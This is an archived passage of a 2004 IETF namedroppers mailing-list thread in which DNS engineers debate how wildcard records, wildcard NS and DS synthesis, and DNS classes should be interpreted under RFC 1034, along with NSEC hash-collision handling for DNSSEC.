restriction on a zone with a "* NS" because a domain name beginning with a "*" isn't always being used as a source of synthetic records. E.g., example.com. SOA (SOA rdata) NS (NS rdata) NS (NS rdata) *.foo TXT (TXT rdata) www A (A rdata) * NS (NS rdata) NS (NS rdata) I'm going to use a convention for the purpose of this message of: Q(*, NS) is the same as (QNAME=*; QCLASS=IN; QTYPE=NS) ANSWER(#): Answer section and answer count AUTHORITY(#): Authority section w/count Query: Q(*.example.com, NS) returns: ANSWER(2): *.example.com. IN NS (x2) This is a case of (RFC 1034, 4.3.2) Step 3.a (exact name match) being invoked. Query: Q(*.example.com, A) returns: This depends. If the server has loaded a zone named *.example.com. then we wouldn't be looking at this zone. Assuming there is no loaded zone for *.example.com., then the answer comes from Step 3.b (cut point it hit). The answer would be: AUTHORITY(2): *.example.com. IN NS (x2) QUERY Q(www.example.com, TXT) returns: ANSWER(0) This is from 3.a - exact name match, but no matching RR set. QUERY Q(www.*.foo.example.com, A) returns: Name Error This is from 3.c. A match failed at the label * of *.foo.example.com. There is no * label below this (*.*.foo.example.com) - setting aside the "anydomain should not contain *" text - so there is no name match, hence the name error return. QUERY Q(smtp.example.com, A) returns: Seeing no match for smtp.example.com as Step 3.a, the response will have to be from 3.b or 3.c. It looks like 3.b is not the right Step either as *.example.com is not in the path to smtp.example.com. So it looks like 3.c. Looking into 3.c, we are now trying to match types, or "chase" a CNAME (as the other part of the draft proposes). There are no A records, so it looks like the answer is either: ANSWER(0) or: AUTHORITY(2): smtp.example.com IN NS (x2) It comes down to the meaning of the word "match" in the last paragraph of 3.c. If we are deciding between 3.a or 3.b, meaning that the query name is a cut point, the presence of the NS occludes the A. Does that constitute a "match?" I've also been given a third choice - not bother to answer the question. IOW - leave it unspecified. I'm assuming that this isn't a generally held position, but I ought to check. Oh, and there's another problem, the "conundrum." Is the synthesis of the (smtp.example.com IN NS) set legal? To separate the issue, I'll use another query. QUERY Q(smtp.example.com, NS) returns: In this case, we are in Step 3.c, with the NS matching exactly. The problem is: Assuming the child (and not the parent) is authoritative for the NS set, is it legal for the parent to synthesize the child NS set? The irony here is, by following established rules in generating the NS set for the answer (here it is the answer and not the referral because we've fallen into step c) the parent has delegated away the authority for the name. The parent is no longer allowed to answer for this. In hindsight, the answer ought to have come from 3.b - but we didn't know to go there until we stepped halfway through 3.c. (Is it the jet lag, or is this stuff really muddy?) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: wild cards Date: Mon, 20 Sep 2004 16:05:18 +0100 Lines: 20 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 17:13:46 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org In-Reply-To: <a06020407bd5b9bc9d506@[192.168.1.100]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 01 September 2004 11:56 -0400 Edward Lewis <edlewis@arin.net> wrote: > Yes, I'm actually spending time on the draft... Where can the current version of the draft be found? Searches for draft-ietf-dnsext-wcard-clarify-03.txt all have it removed as it's expired, and -04 doesn't seem to be out yet. I have a couple of nits in the original RFC wording which have probably been found by someone else, but wouldn't mind checking... Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: wild cards Date: Mon, 20 Sep 2004 16:15:45 +0100 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 17:23:00 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> To: Alex Bligh <alex@alex.org.uk> Precedence: bulk At 16:05 +0100 9/20/04, Alex Bligh wrote: >--On 01 September 2004 11:56 -0400 Edward Lewis <edlewis@arin.net> wrote: > >> Yes, I'm actually spending time on the draft... > >Where can the current version of the draft be found? Searches for >draft-ietf-dnsext-wcard-clarify-03.txt all have it removed as it's >expired, and -04 doesn't seem to be out yet. There isn't an active copy anywhere, as far as the IETF is concerned. http://www.potaroo.net/ietf/idref/draft-ietf-dnsext-wcard-clarify/ is the one place I know to find the old copies. (I have a copy that Robert Elz maintained but never made the ID repository.) >I have a couple of nits in the original RFC wording which have probably >been found by someone else, but wouldn't mind checking... -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: wild cards Date: Mon, 20 Sep 2004 16:51:10 +0100 Lines: 71 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> <a06020407bd74a31763de@[193.0.8.231]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 18:02:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd74a31763de@[193.0.8.231]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk A couple of comments on draft-ietf-dnsext-wcard-clarify-02.txt (in the absence of a more recent version 1. QCLASS ========= > Section 1. > ... > Note that a wild card domain name has no special impact on the search > for a query type (QTYPE). If a domain name is found that matches the > QNAME (exact or a wild card) but the QTYPE is not found at that > point, the proper response is that there is no data available. What happens in the following scenario: $ORIGIN example.com * IN MX target.example2.com. foo IN TXT "bar" baz HS [blah] If a query is of QCLASS IN and QTYPE MX is executed for "foo.example.com", the correct response is no data, not the the wildcard MX. If a query of QTYPE ANY and QCLASS IN is sent for "baz.example.com", is this true as well? Or is the right response the wildcard? 4.3.3 of RFC1034 is unclear. [aside: noticed this thinking a different CLASS might be useful for NSEC' to get around the wildcard problem] 2. Names starting with '*' ========================== Section (2) of wcard-clarify is clear; one thing it clarifies that you haven't noticed is a miswording in 4.3.3 of 1034. > In the previous algorithm, special treatment was given to RRs with owner > names starting with the label "*". Such RRs are called wildcards. This might be read to include "*foo.example.com". It's obviously meant to mean "RRs with owner names starting with a label which exactly matches '*'". The label starting with "*" case could be made clearer, partly for reasons in [] below. 3. Labels with dots in them =========================== (not strictly wildcards but I think relevant because of (2) above). There does not appear to be anything which prevents having a single label with a "." in it, i.e. a label of 0x03 0x41 0x2e 0x42, which is a single label of "a.b" (as opposed to two concatenated labels a.b). RFC 1034 s3.1 seems to be quite clear on that. I am presuming these are legal because there is nothing saying they aren't, and the reason we aren't "taking the easy way out" and banning things like "foo.*.bar.example.com" is the principle of binary transparency. On the other hand, I think (according to 4.3) that no QNAME can match these - correct? If not, what happens with labels starting "0x2a 0x2e" (i.e. starting with "*.")? [ Suggesting that the illustration in RFC 1034 section 3.5 is made mandatory will I suspect win me no friends ] Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Hallam-Baker, Phillip" <pbaker@verisign.com> Subject: RE: Collisions irrelevant Date: Mon, 20 Sep 2004 09:00:41 -0700 Lines: 35 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: "'Robert Elz'" <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 18:09:25 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "'Olaf M. Kolkman'" <olaf@ripe.net>, "Hallam-Baker, Phillip" <pbaker@verisign.com> X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk > As in A' is the set of names that are not in the zone? Yes, the collisions between members of the same set are irrelevant. It is when you have a collision between A and A' that you have the issue. > Let me see if I understand this. If I cannot proof that the > record does > not exist I'd would expect data that I queried for > (Q-truple). At least > a piece of data that provides proof that at the xj ownername (QNAME) > there is no such type as QTYPE. > > I get no such data and I get no data of the nonexistence of the > ownername xj.... error case. This could be used for a DOS > attack on the > server, if the client requeries in case of the above error case. > Security considerations can address this. > > handwave, handwave, :-) The chance of this ever happening is somewhat less than the chance that a giant meteor will collide the planet causing everyone to turn into oil. If this really is a concern then what we could do is to have a system whereby in the case of a collision the server returns the value that results in the collision. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Tue, 21 Sep 2004 03:44:59 +0700 Lines: 125 Sender: owner-namedroppers@ops.ietf.org References: <3E2A3B81EA464133E59C9314@[192.168.0.16]> <a06020407bd5b9bc9d506@[192.168.1.100]> <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> <a06020407bd74a31763de@[193.0.8.231]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 23:08:15 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <3E2A3B81EA464133E59C9314@[192.168.0.16]> Precedence: bulk Date: Mon, 20 Sep 2004 16:51:10 +0100 From: Alex Bligh <alex@alex.org.uk> Message-ID: <3E2A3B81EA464133E59C9314@[192.168.0.16]> | A couple of comments on draft-ietf-dnsext-wcard-clarify-02.txt (in | the absence of a more recent version -02 is the most recent published version. Unless Ed has submitted a new version in the past few days, there has never been a -03 (I was working on that one - unbelievably slowly - when Ed took over again). | If a query of | QTYPE ANY and QCLASS IN is sent for "baz.example.com", is this true as | well? I'm going to let someone else attempt to explain classes, I never understood them (at all...) There's one theory that there is a single uniform namespace and classes just allow different data types (a different set of RR types) which may be able to be managed by servers that are different for the same named domains (or might not be) (in which case, the answer should be NODATA, except if the trees can be at different servers the HS record might not necessarily be in the same server as the * record, which makes it all very hard to get right). There's another hyppothesis that a different class is an entirely separate DNS naming tree, with its own set of everything, and the two classes simply don't mix in any way at all (in which case the wildcard would certainly apply). | Or is the right response the wildcard? 4.3.3 of RFC1034 is unclear. 1034 is totally useless about classes. A "DNS classes clarifications" doc would certainly be needed if there was ever to be any serious effort to do anything (standard) with the things - but most impressions I've heard are "don't go there". The CH and HS classes are local hacks that do whatever the software that implements them wants them to do... | 2. Names starting with '*' | ========================== | | Section (2) of wcard-clarify is clear; one thing it clarifies that | you haven't noticed is a miswording in 4.3.3 of 1034. | | > In the previous algorithm, special treatment was given to RRs with owner | > names starting with the label "*". Such RRs are called wildcards. | | This might be read to include "*foo.example.com". No, it can't (reasonably) be - it says 'the label "*"', not 'the character "*"'. | It's obviously meant to | mean "RRs with owner names starting with a label which exactly matches | '*'". Yes, that's the only thing it can mean "*foo.ex..." starts with the label "*foo" not with the label "*". | The label starting with "*" case could be made clearer, No harm in making it even clearer though. | 3. Labels with dots in them | =========================== | | (not strictly wildcards but I think relevant because of (2) above). Not really... | There does not appear to be anything which prevents having a single | label with a "." in it, No, nothing at all. What's more there's nothing that prevents a label that consists entirely of the '.' character. | i.e. a label of 0x03 0x41 0x2e 0x42, which | is a single label of "a.b" (as opposed to two concatenated labels | a.b). RFC 1034 s3.1 seems to be quite clear on that. Yes. | I am presuming these are legal There's no need to presume, they are legal, and clearly legal, as you indicated. | On the other hand, I think (according to 4.3) that no QNAME can | match these - correct? No. A QNAME that is 02 2a 2e 07 e x a m p l e 03 c o m 00 will match a "*." RR (of the appropriate type) in the example.com zone. | If not, what happens with labels starting | "0x2a 0x2e" (i.e. starting with "*.")? No different than *foo - that's just another odd looking label, which has no special properties whatever (aside from being pretty confusing to novices). Note that the textual representation for this, in master files, etc, is "*\." not just ""*." In practice it is just about impossible to actually use a label containing a '.' from any (non DNS diagnostic) application, the API's just aren't good enough to get the correct thing to the resolver (they all start with text strings, and mostly don't handle escape characters), which makes the things close to useless in practice currently anyway. But inside the DNS, where you should simply never thing of domain names as text strings there is absolutely no confusion whatever. | [ Suggesting that the illustration in RFC 1034 section 3.5 is | made mandatory will I suspect win me no friends ] No.... kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Rob Austein <sra@isc.org> Subject: New versions of DNSSECbis drafts posted Date: Mon, 20 Sep 2004 16:57:49 -0400 Lines: 22 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 23:09:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Precedence: bulk New versions of the DNSSECbis drafts have just been sent off to the Internet-Drafts coordinator. Copies (and htmlwdiff output) are also available on the web at: http://www.hactrn.net/ietf/dns/dnssec-editors/ These versions incorporate minor changes in response to review by our Area Director. To date there has been only one comment in response to IETF Last Call, and that comment did not end up requiring any changes to the text. As always, please send minor comments to dnssec-editors@east.isi.edu, substantive issues to namedroppers. --Rob (on behalf of your friendly neighborhood DNSSEC editors) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Hallam-Baker, Phillip" <pbaker@verisign.com> Subject: RE: Collisions irrelevant Date: Mon, 20 Sep 2004 14:02:01 -0700 Lines: 36 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: "'Robert Elz'" <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 23:12:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "'Alex Bligh'" <alex@alex.org.uk>, "Olaf M. Kolkman" <olaf@ripe.net>, "Hallam-Baker, Phillip" <pbaker@verisign.com> X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk > There is a third strategy which I outlined earlier, and which Ben > independently came up with a far better version (off-list). > That is simply > that if there is a query x(j), which is non-existent but has > a hash equal > to an existing record, you simply return a traditional NSEC > record [*], > rather than an NSEC' record (as the resolver has to cope with > either for > denial anyway, this complicates nothing). This will allow zone > enumerability only to the extent the attacker can find a > colliding hash for > each RR (i.e. in practice not at all). This addresses Phil's > problem (which > is the same as the one I posted marked "this *is* a > problem"), and together > with salting for non-self colliding, I think this addresses > all the hash > collision problems. OK now I get it, yes this works for me. I can make the probability of having to release a record to be considerably less than the probability of being hit by a giant asteroid. I can certainly make the probability way less than the probability of a machine error in the signing unit. Security is risk control, not risk elimination. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: * NS Date: Tue, 21 Sep 2004 04:23:33 +0700 Lines: 116 Sender: owner-namedroppers@ops.ietf.org References: <a06020403bd7489f8c2ff@[193.0.8.231]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 23:50:24 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020403bd7489f8c2ff@[193.0.8.231]> Precedence: bulk Date: Mon, 20 Sep 2004 15:34:35 +0100 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020403bd7489f8c2ff@[193.0.8.231]> | A couple of things seem clearer now (at least to me), but still we | have a conundrum. I doubt it is quite that bad. | QUERY Q(smtp.example.com, A) returns: | | Seeing no match for smtp.example.com as Step 3.a, the response will | have to be from 3.b or 3.c. It looks like 3.b is not the right Step | either as *.example.com is not in the path to smtp.example.com. So | it looks like 3.c. | | Looking into 3.c, we are now trying to match types, or "chase" a CNAME | (as the other part of the draft proposes). There are no A records, so | it looks like the answer is either: | | ANSWER(0) | | or: | | AUTHORITY(2): smtp.example.com IN NS (x2) It is clearly ANSWER(0). | It comes down to the meaning of the word "match" in the last paragraph | of 3.c. If we are deciding between 3.a or 3.b, meaning that the query | name is a cut point, the presence of the NS occludes the A. Does that | constitute a "match?" What A? I'm not sure what you're thinking of here? The algorithm is simple. Look for an exact name match ("match" means identical labels modulo case independence). Not found - done with 4.3.2 (3a) - and 4.3.2 (3b) cannot apply either. Then look for a wildcard record (ie: label '*') - that exists, but no RR's of the appropriate type. Hence copy nothing to the answer section. "Go to step 6" (ie: we're done). In case you doubt the definition of "match" (for names) - just look at 4.3.2 (3c) - we only start looking for '*' labels when a match is "impossible" - that is when there is no match. If you start imagining that the presence of a '*' label causes a name match, then this whole section would be absurd. The '*' label does not "match" the QNAME, rather it causes RR's to be (able to be) synthesised that have a label which does match the QNAME (which don't have to be tested for that purpose, as they're constructed to satisfy it). | I've also been given a third choice - nt bother to answer the question. | IOW - leave it unspecified. I'm assuming that this isn't a generally | held position, but I ought to check. No, this one is clear, and simple. | Oh, and there's another problem, the "conundrum." Is the synthesis of | the (smtp.example.com IN NS) set legal? This one is a very hard case to be sure about. Fortunately, for any practical purpose, it doesn't really matter. | QUERY Q(smtp.example.com, NS) returns: | | In this case, we are in Step 3.c, with the NS matching exactly. Yes. | The problem is: | | Assuming the child (and not the parent) is authoritative for the NS | set, is it legal for the parent to synthesize the child NS set? Yes, that's where things get hairy. The "delegations cancel wildcards" rule suggests that NODATA (ANSWER(0)) would be appropriate, yet, the algorithm suggests that ANSWER(2) (the 2 NS records) would be correct. This is the one I'd just leave undefined. Fortunately (leaving aside whatever implications this may have for dnssec) this makes absolutely no difference to anything that matters, as absolutely nothing (real) does QTYPE=NS queries. That is, the set of people reading this message (subscribers to namedroppers, etc) and a few more like us are the only entities that would ever issue such a query - it is basically useless for applications. | The irony here is, by following established rules in generating the NS | set for the answer (here it is the answer and not the referral because | we've fallen into step c) the parent has delegated away the authority | for the name. The parent is no longer allowed to answer for this. In | hindsight, the answer ought to have come from 3.b No, it shouldn't - 3b only applies when we have an exact match. There's no "smtp" in the zone file, hence that one cannot possibly occur. Personally I lean towards generating AA NS records that satisfy the query - that is, there's no delegation here, the name "smtp.example.com" hasn't been delegated anywhere, and hence the example.com zone is still authoritative for the data - and then the '* NS' records cause synthesis of the answer section records (which are from the example.com zone, and hence AA answers). Of course this puts us in the novel position of having NS records with no zone cut. There's no possible practical use for this nonsense however, so it isn't in the least bit important. kre kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: * NS Date: Tue, 21 Sep 2004 09:38:47 +0100 Lines: 118 Sender: owner-namedroppers@ops.ietf.org References: <a06020403bd7489f8c2ff@[193.0.8.231]> <11229.1095715413@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 11:05:37 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <11229.1095715413@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 4:23 +0700 9/21/04, Robert Elz wrote: > Date: Mon, 20 Sep 2004 15:34:35 +0100 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a06020403bd7489f8c2ff@[193.0.8.231]> > > | QUERY Q(smtp.example.com, A) returns: > | ... > | It comes down to the meaning of the word "match" in the >last paragraph > | of 3.c. If we are deciding between 3.a or 3.b, meaning >that the query > | name is a cut point, the presence of the NS occludes the A. >Does that > | constitute a "match?" > >What A? I'm not sure what you're thinking of here? The A in the query, well, the occlusion would be the A in the subzone named smtp.example.com that matches the type queried. >The algorithm is simple. Look for an exact name match ("match" means >identical labels modulo case independence). Not found - done with >4.3.2 (3a) - and 4.3.2 (3b) cannot apply either. Then look for a wildcard >record (ie: label '*') - that exists, but no RR's of the appropriate type. >Hence copy nothing to the answer section. "Go to step 6" (ie: we're done). > >In case you doubt the definition of "match" (for names) - just look at 4.3.2 >(3c) - we only start looking for '*' labels when a match is >"impossible" - that >is when there is no match. If you start imagining that the presence of a '*' >label causes a name match, then this whole section would be absurd. >The '*' label does not "match" the QNAME, rather it causes RR's to be >(able to be) synthesised that have a label which does match the QNAME >(which don't have to be tested for that purpose, as they're constructed >to satisfy it). My issue isn't "match" for names, but "match" for types. 1034 is inconsistent with terms - QTYPE ANY, or QTYPE *, is different that * domain names. (A cache interprets QTYPE ANY, it doesn't do any synthesis based on * domain names.) That's why I think it's unclear what is meant by "match" for types. I favor the ANSWER(0) choice myself, but I want to hear what the group thinks. There is another place in the text that supports the treatment of NS as a match for a queried A - if there's a name match at a cut point. (This is just to support why the AUTHORITY(2) answer option is a candidate.) > | The problem is: > | > | Assuming the child (and not the parent) is authoritative for the NS > | set, is it legal for the parent to synthesize the child NS set? > >Yes, that's where things get hairy. The "delegations cancel wildcards" >rule suggests that NODATA (ANSWER(0)) would be appropriate, yet, the >algorithm suggests that ANSWER(2) (the 2 NS records) would be correct. > >This is the one I'd just leave undefined. > >Fortunately (leaving aside whatever implications this may have for >dnssec) this makes absolutely no difference to anything that matters, >as absolutely nothing (real) does QTYPE=NS queries. That is, the set >of people reading this message (subscribers to namedroppers, etc) and >a few more like us are the only entities that would ever issue such a >query - it is basically useless for applications. Now that you've raised the dnssec word ;) DNSSEC makes this yuckier. I've been trying to avoid the complications until we clarify the base specification. In a nutshell, the problem is "* DS" - unlike the NS set, the DS is authoritative at the parent. So, if synthesizing an NS set is illegal because the synthesizing zone is not authoritative, synthesizing a DS is legal. Now we can have a DS set without an NS set...ugh. > | The irony here is, by following established rules in >generating the NS > | set for the answer (here it is the answer and not the >referral because > | we've fallen into step c) the parent has delegated away the authority > | for the name. The parent is no longer allowed to answer for this. In > | hindsight, the answer ought to have come from 3.b > >No, it shouldn't - 3b only applies when we have an exact match. There's >no "smtp" in the zone file, hence that one cannot possibly occur. > >Personally I lean towards generating AA NS records that satisfy the >query - that is, there's no delegation here, the name "smtp.example.com" >hasn't been delegated anywhere, and hence the example.com zone is still >authoritative for the data - and then the '* NS' records cause synthesis >of the answer section records (which are from the example.com zone, and >hence AA answers). Of course this puts us in the novel position of >having NS records with no zone cut. I have in my mind a Road Runner - Wile E. Coyote cartoon and the ACME black hole. When the hole is placed on a road, the Road Runner runs over it like it's just a black mat. When the Coyote jumps on it, he falls into the ersatz hole. >There's no possible practical use for this nonsense however, so it isn't >in the least bit important. It reminds me of Saturday morning cartoons. That's a good thing. ;) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: any more comments? Date: Tue, 21 Sep 2004 11:50:06 +0200 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd70f136e5f8@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 12:00:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 17 Sep 2004 16:01:44 EDT." <a06020407bd70f136e5f8@[192.168.1.100]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <8422.1095760205.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Edward Lewis <edlewis@arin.net> wrote: > 1) Should we remove the restriction on names that start with a '*' > and have another in the middle? I think we know how this would work, in my opinion the restriction as it stands is not consistent. Why should *.<foo>.*.<bar> be worse than <foo>.*.<bar> once we agree that the latter does not synthesize <foo>.<something>.<bar> (the MARID case). In fact it will only synthesize anything else but *.<bar> and below. So, the clarification should just say that only the leftmost star actually counts. Again, a counterexample in the/an appendix may help. > 2) Should we use a phrase like "source of synthesis" when refering to > the "power" a domain name starting with a '*' has when it comes to Yes. > the lookup process? Should we try to abandon the term "wildcard" as > it has become too overloaded? That's a nice approach to clarification - just deprecate the confusing term :-) But yes, in the document itself, when explaining anything, I'd either say "source of synthesis" (or whatever the term will be) or "*". By the way, since someone asked whether the "*" in a zone is always a "source of synthesis" it might be helpful to explicitly state that this "power" can't be taken away, not even by writing "\*". -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: wild cards Date: Tue, 21 Sep 2004 11:21:49 +0100 Lines: 130 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> <a06020407bd74a31763de@[193.0.8.231]> <3E2A3B81EA464133E59C9314@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 12:32:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <3E2A3B81EA464133E59C9314@[192.168.0.16]> To: Alex Bligh <alex@alex.org.uk> Precedence: bulk At 16:51 +0100 9/20/04, Alex Bligh wrote: >A couple of comments on draft-ietf-dnsext-wcard-clarify-02.txt (in >the absence of a more recent version > >1. QCLASS >========= > >> Section 1. >> ... >> Note that a wild card domain name has no special impact on the search >> for a query type (QTYPE). If a domain name is found that matches the >> QNAME (exact or a wild card) but the QTYPE is not found at that >> point, the proper response is that there is no data available. > >What happens in the following scenario: > $ORIGIN example.com > * IN MX target.example2.com. > foo IN TXT "bar" > baz HS [blah] > >If a query is of QCLASS IN and QTYPE MX is executed for "foo.example.com", >the correct response is no data, not the the wildcard MX. If a query of >QTYPE ANY and QCLASS IN is sent for "baz.example.com", is this true as >well? Or is the right response the wildcard? 4.3.3 of RFC1034 is unclear. > >[aside: noticed this thinking a different CLASS might be useful for >NSEC' to get around the wildcard problem] My point of view - I've not come across a zone that mixed classes. much less a zone file. Quoting RFC 1034: "Since the class of all RRs in a zone must be the same, only the first RR in a zone need specify the class." This is found under the example in 6.1. (Search for the string to see the context.) There's also this: "Note that the "cuts" in the name space may be in different places for different classes, the name servers may be different, etc." in section 4.2. Given those passages, I'd say that the example above isn't a realistic example. Overall, I have not seem much in the way of non-IN class work. Yes, there's the "dig version.bind 